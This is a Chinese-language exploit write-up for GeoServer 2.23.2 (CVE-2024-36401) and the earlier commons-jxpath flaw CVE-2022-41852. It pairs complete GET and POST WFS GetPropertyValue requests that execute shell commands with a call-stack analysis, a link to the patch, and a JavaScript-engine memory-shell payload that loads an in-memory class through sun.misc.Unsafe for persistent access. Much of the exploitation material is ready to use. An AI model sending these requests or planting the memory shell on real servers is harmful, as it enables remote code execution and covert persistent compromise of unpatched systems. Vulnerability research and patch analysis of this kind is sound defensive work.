漏洞环境
geoserver 2.23.2
漏洞复现
Get方法如下
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: x.x.x.x:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
POST方法如下
POST /geoserver/wfs HTTP/1.1
Host: x.x.x.x:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 360
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>
可以看到返回400,并且出现java.lang.ClassCastException错误即可利用成功
可以看到利用的是typeNames参数,typeNames=sf:archsites,可以从下面看到
漏洞分析
根据官方给的线索,可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞
主要是用到了wfs服务,这个服务是由开放地理空间联盟 (OGC) 创建的标准,用于使用 HTTP 在互联网上创建、修改和交换矢量格式的地理信息。WFS 使用地理标记语言 (GML)(XML 的一个子集)对信息进行编码和传输。
WFS 的当前版本是2.0.0。GeoServer 支持版本 2.0.0、1.1.0 和 1.0.0。尽管版本之间存在一些重要差异,但请求语法通常保持不变。
因为涉及到GetPropertyValue操作,只能2.0.0支持
至于wfs功能如上图,比如GetCapabilities(获取能力),DescribeFeatureType(描述特征类型),GetFeature(获取特征),LockFeature(锁定功能),交易,这些所有版本都支持
此时看我们的poc可以看出是2.0.0版本的
比如GetPropertyValue(获取属性值),GetFeatureWithLock(获取带锁特征),CreateStoredQuery(创建存储查询),DropStoredQuery(删除存储查询),ListStoredQueries(列出已存储的查询),DescribeStoredQuery(描述存储查询)
具体功能看如下
https://github.com/geoserver/geoserver/blob/2.23.2/doc/en/user/source/services/wfs/reference.rst
根据poc得知是GetPropertyValue,那么就是获取属性值触发的
CVE-2022-41852(先前漏洞)
漏洞利用及分析
那么先不说这个,先看看之前的漏洞CVE-2022-41852
参考文章:https://tttang.com/archive/1771/
代码执行
App.java
package org.example;
import org.apache.commons.jxpath.JXPathContext;
/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args )
{
JXPathContext context = JXPathContext.newContext(null);
context.getValue("org.example.springdemo.calc.calc()");
}
}
calc.java
package org.example.springdemo;
public class calc {
public static void calc(){
try {
Runtime.getRuntime().exec("calc.exe");
}catch (Exception e ){
}
}
}
样例触发了,那么我们来追踪下
在最外层触发计算器的位置下断点,
org.example.App
org.apache.commons.jxpath.ri.JXPathContextReferenceImpl#getValue
org.apache.commons.jxpath.ri.JXPathContextReferenceImpl#getFunction
org.apache.commons.jxpath.PackageFunctions#getFunction
可以看到这里会判断方法名,如果是new就进入构造函数,否则进入静态方法
因为此时是calc静态方法,所以走第二个
org.apache.commons.jxpath.ri.JXPathContextReferenceImpl#getFunction
那么这里就获得了func
org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue
在获得了org.apache.commons.jxpath.Function对应的这个实例后,通过invoke进行调用
也就是说调用有两种,
org.apache.commons.jxpath.functions.ConstructorFunction
org.apache.commons.jxpath.functions.MethodFunction
扩展利用
我们之前调用calc是通过静态方法,那么既然官方给的触发形式是
String firstName = (String)context.getValue("getAuthorsFirstName($book)");
那么相当于动态调用book对象里的getAuthorsFirstName方法
那么可以写成java反射形式,或者js脚本引擎
java反射形式如下
exec(java.lang.Runtime.getRuntime(),'open -na Calculator')
js脚本引擎形式如下
eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec("open -na Calculator")')
那么这里对commons-jxpath库能够利用xpath执行任意代码有了了解,那么只需要我们有地方可以控制xpath表达式同时使用了commons-jxpath库(漏洞版本范围内)就可以达到利用链效果
CVE-2024-36401
漏洞分析
此时我将vulhub的代码拖出来,并远程调试到vulhub
根据官方给出的如下方法
下断点,前三个我在代码中没有找到,因此下断点的位置有剩余的位置
那么断点下好,直接发送post包poc
可以看到断点直接下在了org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.get(Object, String, Class)方法
此时传进来的xpath为exec(java.lang.Runtime.getRuntime(),‘touch /tmp/success5’)
那么根据调用栈看看之前做了哪些操作
org.geoserver.wfs.GetPropertyValue.run方法
可以详细看看这个run方法,首先判断valueReference是否为空,将 GetPropertyValueType 请求转换为 GetFeatureType:通过一个委托(delegate)运行 GetFeatureType 请求,获取结果 FeatureCollectionType,然后开始查询
propertyNameNoIndexes会进行替换内容,将[]中的内容和[]进行置空
那么在这里下断点
evaluate 方法的主要目的是从给定对象中提取属性值,并将其转换为指定的目标类型。方法通过使用一系列 PropertyAccessor 组件来实现这一功能,这些组件负责读取对象的属性。
通过while方法目的是在一个上下文中注册所有已声明的命名空间前缀及其对应的URI,然后调用iteratePointers方法
检查缓存中是否存在xpath已编译的表达式,如果 expr 不为 null,表示缓存中已存在已编译的表达式,直接返回该表达式,否则会编译
此时说明有缓存,直接返回了表达式
换个表达式,会新编译了,如下
编译完之后返回表达式,之后便会跳转到对应的compute方法
我们传入的表达式会走如下
org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue
那么之后便是commons-jxpath-1.3.jar存在漏洞的问题了
那么漏洞分析完毕
修复方式
https://github.com/geotools/geotools/commit/fa187593abd5784d4338e7b5fff97eb47ce60b78
定义了新的类JXPathUtils,禁止通过 XPath 表达式调用 Java 方法,然后在sinks增加了该方法来做安全检查
内存马注入
首先用JMG生成内存马(这里生成需要加入注入类名)
https://mp.weixin.qq.com/s?__biz=Mzg2MTc1NDAxMA==&mid=2247484076&idx=1&sn=4064cb6a006f5cc454b7fb982e8ab9c6
然后使用内存马payload
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')
</wfs:valueReference>
</wfs:GetPropertyValue>
然后连接,注意配置请求头UA或者Referer
可以看到内存马注入成功
filter可以成功,listener我也没成功
改成不带function的形式,为什么报错Warning: Nashorn engine is planned to be removed from a future JDK release
是因为在java11中使用Nashorn engine就会警告,原因是JDK>8时,defineAnonymousClass做了限制,被加载的Class要满足两个条件之一:
没有包名
包名跟第一个参数Class的包名一致,此处为java.lang,否则会报错
而JDK8及以下无此限制
因为要动态生成类,所以需必须先设置sun.misc.Unsafe
参考文章:
https://forum.butian.net/share/3129
https://tttang.com/archive/1771/